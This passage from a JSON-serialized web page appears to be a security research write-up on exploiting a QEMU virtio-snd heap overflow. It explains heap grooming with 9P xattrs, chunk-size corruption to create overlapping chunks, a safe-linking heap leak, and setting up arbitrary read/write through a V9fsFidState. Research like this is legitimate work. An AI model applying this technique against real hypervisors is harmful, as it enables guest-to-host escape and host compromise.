",{"type":23,"tag":38,"props":127324,"children":127326},{"className":127325},[],[127327],{"type":29,"value":127100},{"type":29,"value":127329}," request would first free ",{"type":23,"tag":38,"props":127331,"children":127333},{"className":127332},[],[127334],{"type":29,"value":127335},".name A",{"type":29,"value":127337}," and then ",{"type":23,"tag":38,"props":127339,"children":127341},{"className":127340},[],[127342],{"type":29,"value":127343},".value A",{"type":29,"value":127345},". When ",{"type":23,"tag":38,"props":127347,"children":127349},{"className":127348},[],[127350],{"type":29,"value":127343},{"type":29,"value":127352}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":38,"props":127354,"children":127356},{"className":127355},[],[127357],{"type":29,"value":127335},{"type":29,"value":127359}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":38,"props":127361,"children":127363},{"className":127362},[],[127364],{"type":29,"value":126390},{"type":29,"value":127366},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":32,"props":127368,"children":127369},{},[127370],{"type":29,"value":127371},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":32,"props":127373,"children":127374},{},[127375,127377,127382,127384,127389,127391,127396,127398,127404,127406,127411,127413,127419],{"type":29,"value":127376},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":38,"props":127378,"children":127380},{"className":127379},[],[127381],{"type":29,"value":126390},{"type":29,"value":127383}," allocation remains fixed at size ",{"type":23,"tag":38,"props":127385,"children":127387},{"className":127386},[],[127388],{"type":29,"value":103552},{"type":29,"value":127390},". We first allocate 16 xattrs whose ",{"type":23,"tag":38,"props":127392,"children":127394},{"className":127393},[],[127395],{"type":29,"value":126397},{"type":29,"value":127397}," size is ",{"type":23,"tag":38,"props":127399,"children":127401},{"className":127400},[],[127402],{"type":29,"value":127403},"0x30",{"type":29,"value":127405},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":38,"props":127407,"children":127409},{"className":127408},[],[127410],{"type":29,"value":126397},{"type":29,"value":127412}," size ",{"type":23,"tag":38,"props":127414,"children":127416},{"className":127415},[],[127417],{"type":29,"value":127418},"0x40",{"type":29,"value":127420},", and continue in the same way for each tcache size class.",{"type":23,"tag":32,"props":127422,"children":127423},{},[127424],{"type":29,"value":127425},"This yields the following layout:",{"type":23,"tag":131,"props":127427,"children":127429},{"code":127428}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[127430],{"type":23,"tag":38,"props":127431,"children":127432},{"__ignoreMap":7},[127433],{"type":29,"value":127428},{"type":23,"tag":32,"props":127435,"children":127436},{},[127437,127439,127444,127446,127451,127453,127458,127460,127465,127467,127472,127474,127479,127480,127485,127487,127492,127494,127499,127501,127506,127508,127513,127515,127520],{"type":29,"value":127438},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":38,"props":127440,"children":127442},{"className":127441},[],[127443],{"type":29,"value":126390},{"type":29,"value":127445}," chunks end up in the ",{"type":23,"tag":38,"props":127447,"children":127449},{"className":127448},[],[127450],{"type":29,"value":103552},{"type":29,"value":127452}," tcache bin, along with the interleaved ",{"type":23,"tag":38,"props":127454,"children":127456},{"className":127455},[],[127457],{"type":29,"value":126397},{"type":29,"value":127459}," chunks of size ",{"type":23,"tag":38,"props":127461,"children":127463},{"className":127462},[],[127464],{"type":29,"value":127403},{"type":29,"value":127466},". The next 16 ",{"type":23,"tag":38,"props":127468,"children":127470},{"className":127469},[],[127471],{"type":29,"value":126390},{"type":29,"value":127473}," chunks are interleaved with ",{"type":23,"tag":38,"props":127475,"children":127477},{"className":127476},[],[127478],{"type":29,"value":126397},{"type":29,"value":127459},{"type":23,"tag":38,"props":127481,"children":127483},{"className":127482},[],[127484],{"type":29,"value":127418},{"type":29,"value":127486},"; when freed, those ",{"type":23,"tag":38,"props":127488,"children":127490},{"className":127489},[],[127491],{"type":29,"value":126397},{"type":29,"value":127493}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":38,"props":127495,"children":127497},{"className":127496},[],[127498],{"type":29,"value":126390},{"type":29,"value":127500}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":38,"props":127502,"children":127504},{"className":127503},[],[127505],{"type":29,"value":126390},{"type":29,"value":127507},"-sized chunks that will later be served to the ",{"type":23,"tag":38,"props":127509,"children":127511},{"className":127510},[],[127512],{"type":29,"value":126390},{"type":29,"value":127514}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":38,"props":127516,"children":127518},{"className":127517},[],[127519],{"type":29,"value":126397},{"type":29,"value":127246},{"type":23,"tag":8287,"props":127522,"children":127524},{"id":127523},"corrupting-the-size",[127525],{"type":29,"value":127526},"Corrupting the Size",{"type":23,"tag":32,"props":127528,"children":127529},{},[127530,127532,127537,127539,127544,127546,127551,127553,127558,127559,127564],{"type":29,"value":127531},"The input format is guest-controlled, and we choose ",{"type":23,"tag":38,"props":127533,"children":127535},{"className":127534},[],[127536],{"type":29,"value":2081},{"type":29,"value":127538}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":38,"props":127540,"children":127542},{"className":127541},[],[127543],{"type":29,"value":2081},{"type":29,"value":127545}," is centered at ",{"type":23,"tag":38,"props":127547,"children":127549},{"className":127548},[],[127550],{"type":29,"value":493},{"type":29,"value":127552}," (rather than ",{"type":23,"tag":38,"props":127554,"children":127556},{"className":127555},[],[127557],{"type":29,"value":124652},{"type":29,"value":124639},{"type":23,"tag":38,"props":127560,"children":127562},{"className":127561},[],[127563],{"type":29,"value":124630},{"type":29,"value":127565},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":32,"props":127567,"children":127568},{},[127569,127571,127576],{"type":29,"value":127570},"As we already concluded, ",{"type":23,"tag":38,"props":127572,"children":127574},{"className":127573},[],[127575],{"type":29,"value":124095},{"type":29,"value":127577}," is called with the amount:",{"type":23,"tag":131,"props":127579,"children":127581},{"code":127580},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[127582],{"type":23,"tag":38,"props":127583,"children":127584},{"__ignoreMap":7},[127585],{"type":29,"value":127580},{"type":23,"tag":32,"props":127587,"children":127588},{},[127589,127591,127596,127598,127603],{"type":29,"value":127590},"And as mentioned earlier, ",{"type":23,"tag":38,"props":127592,"children":127594},{"className":127593},[],[127595],{"type":29,"value":124126},{"type":29,"value":127597}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":38,"props":127599,"children":127601},{"className":127600},[],[127602],{"type":29,"value":122745},{"type":29,"value":56806},{"type":23,"tag":32,"props":127605,"children":127606},{},[127607,127609,127614,127616,127621],{"type":29,"value":127608},"With the desired heap layout of repeated ",{"type":23,"tag":38,"props":127610,"children":127612},{"className":127611},[],[127613],{"type":29,"value":126299},{"type":29,"value":127615},"-sized ",{"type":23,"tag":38,"props":127617,"children":127619},{"className":127618},[],[127620],{"type":29,"value":126397},{"type":29,"value":127622}," chunks in place, we can then free every other one:",{"type":23,"tag":131,"props":127624,"children":127626},{"code":127625}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[127627],{"type":23,"tag":38,"props":127628,"children":127629},{"__ignoreMap":7},[127630],{"type":29,"value":127625},{"type":23,"tag":32,"props":127632,"children":127633},{},[127634,127636,127641],{"type":29,"value":127635},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":38,"props":127637,"children":127639},{"className":127638},[],[127640],{"type":29,"value":126397},{"type":29,"value":127642}," chunk directly next to it:",{"type":23,"tag":131,"props":127644,"children":127646},{"code":127645}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[127647],{"type":23,"tag":38,"props":127648,"children":127649},{"__ignoreMap":7},[127650],{"type":29,"value":127645},{"type":23,"tag":32,"props":127652,"children":127653},{},[127654,127656,127661,127663,127668],{"type":29,"value":127655},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":38,"props":127657,"children":127659},{"className":127658},[],[127660],{"type":29,"value":126299},{"type":29,"value":127662},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":38,"props":127664,"children":127666},{"className":127665},[],[127667],{"type":29,"value":126397},{"type":29,"value":127669}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":131,"props":127671,"children":127673},{"code":127672}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127674],{"type":23,"tag":38,"props":127675,"children":127676},{"__ignoreMap":7},[127677],{"type":29,"value":127672},{"type":23,"tag":32,"props":127679,"children":127680},{},[127681,127683,127688],{"type":29,"value":127682},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":38,"props":127684,"children":127686},{"className":127685},[],[127687],{"type":29,"value":126314},{"type":29,"value":114},{"type":23,"tag":131,"props":127690,"children":127692},{"code":127691}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[127693],{"type":23,"tag":38,"props":127694,"children":127695},{"__ignoreMap":7},[127696],{"type":29,"value":127691},{"type":23,"tag":32,"props":127698,"children":127699},{},[127700,127702,127707],{"type":29,"value":127701},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":38,"props":127703,"children":127705},{"className":127704},[],[127706],{"type":29,"value":126314},{"type":29,"value":19414},{"type":23,"tag":131,"props":127709,"children":127711},{"code":127710}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[127712],{"type":23,"tag":38,"props":127713,"children":127714},{"__ignoreMap":7},[127715],{"type":29,"value":127710},{"type":23,"tag":32,"props":127717,"children":127718},{},[127719,127721,127727],{"type":29,"value":127720},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":38,"props":127722,"children":127724},{"className":127723},[],[127725],{"type":29,"value":127726},"0x400",{"type":29,"value":127728}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":131,"props":127730,"children":127732},{"code":127731}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127733],{"type":23,"tag":38,"props":127734,"children":127735},{"__ignoreMap":7},[127736],{"type":29,"value":127731},{"type":23,"tag":8287,"props":127738,"children":127740},{"id":127739},"leaking-a-heap-address",[127741],{"type":29,"value":127742},"Leaking a Heap Address",{"type":23,"tag":32,"props":127744,"children":127745},{},[127746],{"type":29,"value":127747},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":32,"props":127749,"children":127750},{},[127751,127753,127759],{"type":29,"value":127752},"To do this, we abuse the forward (",{"type":23,"tag":38,"props":127754,"children":127756},{"className":127755},[],[127757],{"type":29,"value":127758},"fd",{"type":29,"value":127760},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":131,"props":127762,"children":127764},{"code":127763},"fd = next ^ (curr >> 12)\n",[127765],{"type":23,"tag":38,"props":127766,"children":127767},{"__ignoreMap":7},[127768],{"type":29,"value":127763},{"type":23,"tag":32,"props":127770,"children":127771},{},[127772,127774,127779,127780,127785],{"type":29,"value":127773},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":38,"props":127775,"children":127777},{"className":127776},[],[127778],{"type":29,"value":56045},{"type":29,"value":4175},{"type":23,"tag":38,"props":127781,"children":127783},{"className":127782},[],[127784],{"type":29,"value":52975},{"type":29,"value":127786}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":131,"props":127788,"children":127790},{"code":127789},"fd = 0 ^ (curr >> 12)\n",[127791],{"type":23,"tag":38,"props":127792,"children":127793},{"__ignoreMap":7},[127794],{"type":29,"value":127789},{"type":23,"tag":32,"props":127796,"children":127797},{},[127798,127800,127805],{"type":29,"value":127799},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":38,"props":127801,"children":127803},{"className":127802},[],[127804],{"type":29,"value":127758},{"type":29,"value":127806}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":32,"props":127808,"children":127809},{},[127810],{"type":29,"value":127811},"In the overlap we achieved earlier:",{"type":23,"tag":131,"props":127813,"children":127815},{"code":127814}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[127816],{"type":23,"tag":38,"props":127817,"children":127818},{"__ignoreMap":7},[127819],{"type":29,"value":127814},{"type":23,"tag":32,"props":127821,"children":127822},{},[127823,127825,127831,127833,127839,127841,127847,127849,127854],{"type":29,"value":127824},"We first free ",{"type":23,"tag":38,"props":127826,"children":127828},{"className":127827},[],[127829],{"type":29,"value":127830},".value C",{"type":29,"value":127832}," into tcache and read its contents through the oversized ",{"type":23,"tag":38,"props":127834,"children":127836},{"className":127835},[],[127837],{"type":29,"value":127838},".value Y",{"type":29,"value":127840},". This gives us ",{"type":23,"tag":38,"props":127842,"children":127844},{"className":127843},[],[127845],{"type":29,"value":127846},".value C >> 12",{"type":29,"value":127848},". That is not yet the exact address of ",{"type":23,"tag":38,"props":127850,"children":127852},{"className":127851},[],[127853],{"type":29,"value":127830},{"type":29,"value":127855},", since the lower 12 bits are lost.",{"type":23,"tag":32,"props":127857,"children":127858},{},[127859,127861,127866,127868,127873,127875,127880,127882,127887],{"type":29,"value":127860},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":38,"props":127862,"children":127864},{"className":127863},[],[127865],{"type":29,"value":127830},{"type":29,"value":127867},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":38,"props":127869,"children":127871},{"className":127870},[],[127872],{"type":29,"value":127830},{"type":29,"value":127874}," again. This time, ",{"type":23,"tag":38,"props":127876,"children":127878},{"className":127877},[],[127879],{"type":29,"value":56045},{"type":29,"value":127881}," is no longer ",{"type":23,"tag":38,"props":127883,"children":127885},{"className":127884},[],[127886],{"type":29,"value":52975},{"type":29,"value":127888},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":131,"props":127890,"children":127891},{"code":127763},[127892],{"type":23,"tag":38,"props":127893,"children":127894},{"__ignoreMap":7},[127895],{"type":29,"value":127763},{"type":23,"tag":32,"props":127897,"children":127898},{},[127899,127901,127907,127909,127914,127916,127921,127923,127928],{"type":29,"value":127900},"Since we already know ",{"type":23,"tag":38,"props":127902,"children":127904},{"className":127903},[],[127905],{"type":29,"value":127906},"curr >> 12",{"type":29,"value":127908}," from the first leak, we can read the new ",{"type":23,"tag":38,"props":127910,"children":127912},{"className":127911},[],[127913],{"type":29,"value":127758},{"type":29,"value":127915}," value from ",{"type":23,"tag":38,"props":127917,"children":127919},{"className":127918},[],[127920],{"type":29,"value":127830},{"type":29,"value":127922}," and recover the exact address of ",{"type":23,"tag":38,"props":127924,"children":127926},{"className":127925},[],[127927],{"type":29,"value":56045},{"type":29,"value":127929}," by reversing the XOR:",{"type":23,"tag":131,"props":127931,"children":127933},{"code":127932},"next = fd ^ (curr >> 12)\n",[127934],{"type":23,"tag":38,"props":127935,"children":127936},{"__ignoreMap":7},[127937],{"type":29,"value":127932},{"type":23,"tag":32,"props":127939,"children":127940},{},[127941],{"type":29,"value":127942},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":8287,"props":127944,"children":127946},{"id":127945},"arbitrary-read-and-write",[127947],{"type":29,"value":127948},"Arbitrary Read and Write",{"type":23,"tag":32,"props":127950,"children":127951},{},[127952,127954,127959],{"type":29,"value":127953},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":38,"props":127955,"children":127957},{"className":127956},[],[127958],{"type":29,"value":127830},{"type":29,"value":127960}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":32,"props":127962,"children":127963},{},[127964,127966,127971],{"type":29,"value":127965},"Recall ",{"type":23,"tag":38,"props":127967,"children":127969},{"className":127968},[],[127970],{"type":29,"value":126434},{"type":29,"value":114},{"type":23,"tag":131,"props":127973,"children":127975},{"code":127974,"language":1807,"meta":7,"className":15191,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[127976],{"type":23,"tag":38,"props":127977,"children":127978},{"__ignoreMap":7},[127979,128018,128025,128036,128051,128066,128073,128080,128087,128109,128116,128123,128130,128138,128155,128194,128237,128244],{"type":23,"tag":141,"props":127980,"children":127981},{"class":143,"line":144},[127982,127986,127990,127994,127998,128002,128006,128010,128014],{"type":23,"tag":141,"props":127983,"children":127984},{"style":449},[127985],{"type":29,"value":49523},{"type":23,"tag":141,"props":127987,"children":127988},{"style":449},[127989],{"type":29,"value":49528},{"type":23,"tag":141,"props":127991,"children":127992},{"style":154},[127993],{"type":29,"value":126429},{"type":23,"tag":141,"props":127995,"children":127996},{"style":184},[127997],{"type":29,"value":126434},{"type":23,"tag":141,"props":127999,"children":128000},{"style":154},[128001],{"type":29,"value":192},{"type":23,"tag":141,"props":128003,"children":128004},{"style":449},[128005],{"type":29,"value":50106},{"type":23,"tag":141,"props":128007,"children":128008},{"style":160},[128009],{"type":29,"value":8496},{"type":23,"tag":141,"props":128011,"children":128012},{"style":750},[128013],{"type":29,"value":126451},{"type":23,"tag":141,"props":128015,"children":128016},{"style":154},[128017],{"type":29,"value":758},{"type":23,"tag":141,"props":128019,"children":128020},{"class":143,"line":180},[128021],{"type":23,"tag":141,"props":128022,"children":128023},{"style":154},[128024],{"type":29,"value":766},{"type":23,"tag":141,"props":128026,"children":128027},{"class":143,"line":205},[128028,128032],{"type":23,"tag":141,"props":128029,"children":128030},{"style":449},[128031],{"type":29,"value":54092},{"type":23,"tag":141,"props":128033,"children":128034},{"style":154},[128035],{"type":29,"value":123087},{"type":23,"tag":141,"props":128037,"children":128038},{"class":143,"line":218},[128039,128043,128047],{"type":23,"tag":141,"props":128040,"children":128041},{"style":154},[128042],{"type":29,"value":126576},{"type":23,"tag":141,"props":128044,"children":128045},{"style":160},[128046],{"type":29,"value":197},{"type":23,"tag":141,"props":128048,"children":128049},{"style":154},[128050],{"type":29,"value":126585},{"type":23,"tag":141,"props":128052,"children":128053},{"class":143,"line":227},[128054,128058,128062],{"type":23,"tag":141,"props":128055,"children":128056},{"style":154},[128057],{"type":29,"value":126576},{"type":23,"tag":141,"props":128059,"children":128060},{"style":160},[128061],{"type":29,"value":197},{"type":23,"tag":141,"props":128063,"children":128064},{"style":154},[128065],{"type":29,"value":126601},{"type":23,"tag":141,"props":128067,"children":128068},{"class":143,"line":241},[128069],{"type":23,"tag":141,"props":128070,"children":128071},{"emptyLinePlaceholder":15},[128072],{"type":29,"value":719},{"type":23,"tag":141,"props":128074,"children":128075},{"class":143,"line":262},[128076],{"type":23,"tag":141,"props":128077,"children":128078},{"style":154},[128079],{"type":29,"value":103286},{"type":23,"tag":141,"props":128081,"children":128082},{"class":143,"line":271},[128083],{"type":23,"tag":141,"props":128084,"children":128085},{"emptyLinePlaceholder":15},[128086],{"type":29,"value":719},{"type":23,"tag":141,"props":128088,"children":128089},{"class":143,"line":293},[128090,128095,128099,128104],{"type":23,"tag":141,"props":128091,"children":128092},{"style":154},[128093],{"type":29,"value":128094}," file_fidp ",{"type":23,"tag":141,"props":128096,"children":128097},{"style":160},[128098],{"type":29,"value":1377},{"type":23,"tag":141,"props":128100,"children":128101},{"style":184},[128102],{"type":29,"value":128103}," get_fid",{"type":23,"tag":141,"props":128105,"children":128106},{"style":154},[128107],{"type":29,"value":128108},"(pdu, fid);\n",{"type":23,"tag":141,"props":128110,"children":128111},{"class":143,"line":801},[128112],{"type":23,"tag":141,"props":128113,"children":128114},{"emptyLinePlaceholder":15},[128115],{"type":29,"value":719},{"type":23,"tag":141,"props":128117,"children":128118},{"class":143,"line":810},[128119],{"type":23,"tag":141,"props":128120,"children":128121},{"style":154},[128122],{"type":29,"value":103286},{"type":23,"tag":141,"props":128124,"children":128125},{"class":143,"line":824},[128126],{"type":23,"tag":141,"props":128127,"children":128128},{"emptyLinePlaceholder":15},[128129],{"type":29,"value":719},{"type":23,"tag":141,"props":128131,"children":128132},{"class":143,"line":839},[128133],{"type":23,"tag":141,"props":128134,"children":128135},{"style":443},[128136],{"type":29,"value":128137}," /* Make the file fid point to xattr */\n",{"type":23,"tag":141,"props":128139,"children":128140},{"class":143,"line":848},[128141,128146,128150],{"type":23,"tag":141,"props":128142,"children":128143},{"style":154},[128144],{"type":29,"value":128145}," xattr_fidp ",{"type":23,"tag":141,"props":128147,"children":128148},{"style":160},[128149],{"type":29,"value":1377},{"type":23,"tag":141,"props":128151,"children":128152},{"style":154},[128153],{"type":29,"value":128154}," file_fidp;\n",{"type":23,"tag":141,"props":128156,"children":128157},{"class":143,"line":2304},[128158,128162,128166,128170,128174,128178,128182,128186,128190],{"type":23,"tag":141,"props":128159,"children":128160},{"style":750},[128161],{"type":29,"value":126979},{"type":23,"tag":141,"props":128163,"children":128164},{"style":154},[128165],{"type":29,"value":12435},{"type":23,"tag":141,"props":128167,"children":128168},{"style":750},[128169],{"type":29,"value":35453},{"type":23,"tag":141,"props":128171,"children":128172},{"style":154},[128173],{"type":29,"value":322},{"type":23,"tag":141,"props":128175,"children":128176},{"style":750},[128177],{"type":29,"value":126903},{"type":23,"tag":141,"props":128179,"children":128180},{"style":154},[128181],{"type":29,"value":322},{"type":23,"tag":141,"props":128183,"children":128184},{"style":750},[128185],{"type":29,"value":7817},{"type":23,"tag":141,"props":128187,"children":128188},{"style":160},[128189],{"type":29,"value":1674},{"type":23,"tag":141,"props":128191,"children":128192},{"style":154},[128193],{"type":29,"value":123087},{"type":23,"tag":141,"props":128195,"children":128196},{"class":143,"line":2313},[128197,128201,128205,128209,128213,128217,128221,128225,128229,128233],{"type":23,"tag":141,"props":128198,"children":128199},{"style":750},[128200],{"type":29,"value":126979},{"type":23,"tag":141,"props":128202,"children":128203},{"style":154},[128204],{"type":29,"value":12435},{"type":23,"tag":141,"props":128206,"children":128207},{"style":750},[128208],{"type":29,"value":35453},{"type":23,"tag":141,"props":128210,"children":128211},{"style":154},[128212],{"type":29,"value":322},{"type":23,"tag":141,"props":128214,"children":128215},{"style":750},[128216],{"type":29,"value":126903},{"type":23,"tag":141,"props":128218,"children":128219},{"style":154},[128220],{"type":29,"value":322},{"type":23,"tag":141,"props":128222,"children":128223},{"style":750},[128224],{"type":29,"value":37623},{"type":23,"tag":141,"props":128226,"children":128227},{"style":160},[128228],{"type":29,"value":1674},{"type":23,"tag":141,"props":128230,"children":128231},{"style":184},[128232],{"type":29,"value":122658},{"type":23,"tag":141,"props":128234,"children":128235},{"style":154},[128236],{"type":29,"value":127016},{"type":23,"tag":141,"props":128238,"children":128239},{"class":143,"line":2335},[128240],{"type":23,"tag":141,"props":128241,"children":128242},{"emptyLinePlaceholder":15},[128243],{"type":29,"value":719},{"type":23,"tag":141,"props":128245,"children":128246},{"class":143,"line":2343},[128247],{"type":23,"tag":141,"props":128248,"children":128249},{"style":154},[128250],{"type":29,"value":103286},{"type":23,"tag":32,"props":128252,"children":128253},{},[128254,128256,128262,128264,128269,128270,128275,128277,128282,128284,128290,128291,128297,128299,128304,128305,128310],{"type":29,"value":128255},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":38,"props":128257,"children":128259},{"className":128258},[],[128260],{"type":29,"value":128261},"V9fsFidState",{"type":29,"value":128263}," object. In other words, if we can place a ",{"type":23,"tag":38,"props":128265,"children":128267},{"className":128266},[],[128268],{"type":29,"value":128261},{"type":29,"value":5996},{"type":23,"tag":38,"props":128271,"children":128273},{"className":128272},[],[128274],{"type":29,"value":127830},{"type":29,"value":128276}," currently sits, the overlapping ",{"type":23,"tag":38,"props":128278,"children":128280},{"className":128279},[],[128281],{"type":29,"value":127838},{"type":29,"value":128283}," chunk can overwrite ",{"type":23,"tag":38,"props":128285,"children":128287},{"className":128286},[],[128288],{"type":29,"value":128289},"V9fsFidState.fs.xattr.value",{"type":29,"value":313},{"type":23,"tag":38,"props":128292,"children":128294},{"className":128293},[],[128295],{"type":29,"value":128296},"V9fsFidState.fs.xattr.len",{"type":29,"value":128298},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":38,"props":128300,"children":128302},{"className":128301},[],[128303],{"type":29,"value":127092},{"type":29,"value":313},{"type":23,"tag":38,"props":128306,"children":128308},{"className":128307},[],[128309],{"type":29,"value":127084},{"type":29,"value":322},{"type":23,"tag":32,"props":128312,"children":128313},{},[128314,128316,128321,128322,128327,128329,128334,128336,128342,128344,128349,128351,128356,128358,128363,128365,128370,128372,128377],{"type":29,"value":128315},"At this point, ",{"type":23,"tag":38,"props":128317,"children":128319},{"className":128318},[],[128320],{"type":29,"value":127830},{"type":29,"value":14121},{"type":23,"tag":38,"props":128323,"children":128325},{"className":128324},[],[128326],{"type":29,"value":126299},{"type":29,"value":128328}," chunk, while ",{"type":23,"tag":38,"props":128330,"children":128332},{"className":128331},[],[128333],{"type":29,"value":128261},{"type":29,"value":128335}," falls into the ",{"type":23,"tag":38,"props":128337,"children":128339},{"className":128338},[],[128340],{"type":29,"value":128341},"0x120",{"type":29,"value":128343}," size class. Before freeing ",{"type":23,"tag":38,"props":128345,"children":128347},{"className":128346},[],[128348],{"type":29,"value":127830},{"type":29,"value":128350},", we therefore use the oversized ",{"type":23,"tag":38,"props":128352,"children":128354},{"className":128353},[],[128355],{"type":29,"value":127838},{"type":29,"value":128357}," chunk to change its size to match ",{"type":23,"tag":38,"props":128359,"children":128361},{"className":128360},[],[128362],{"type":29,"value":128261},{"type":29,"value":128364},". Once ",{"type":23,"tag":38,"props":128366,"children":128368},{"className":128367},[],[128369],{"type":29,"value":127830},{"type":29,"value":128371}," is freed, it is inserted into the ",{"type":23,"tag":38,"props":128373,"children":128375},{"className":128374},[],[128376],{"type":29,"value":128341},{"type":29,"value":128378}," tcache bin.",{"type":23,"tag":131,"props":128380,"children":128382},{"code":128381}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[128383],{"type":23,"tag":38,"props":128384,"children":128385},{"__ignoreMap":7},[128386],{"type":29,"value":128381},{"type":23,"tag":32,"props":128388,"children":128389},{},[128390,128392,128397,128399,128405,128407,128413,128415,128420],{"type":29,"value":128391},"After that, we can simply allocate a new ",{"type":23,"tag":38,"props":128393,"children":128395},{"className":128394},[],[128396],{"type":29,"value":128261},{"type":29,"value":128398}," with a ",{"type":23,"tag":38,"props":128400,"children":128402},{"className":128401},[],[128403],{"type":29,"value":128404},"P9_TWALK",{"type":29,"value":128406}," request and a fresh FID - this reaches ",{"type":23,"tag":38,"props":128408,"children":128410},{"className":128409},[],[128411],{"type":29,"value":128412},"alloc_fid",{"type":29,"value":128414},", which allocates a new ",{"type":23,"tag":38,"props":128416,"children":128418},{"className":128417},[],[128419],{"type":29,"value":128261},{"type":29,"value":114},{"type":23,"tag":131,"props":128422,"children":128424},{"code":128423,"language":1807,"meta":7,"className":15191,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t 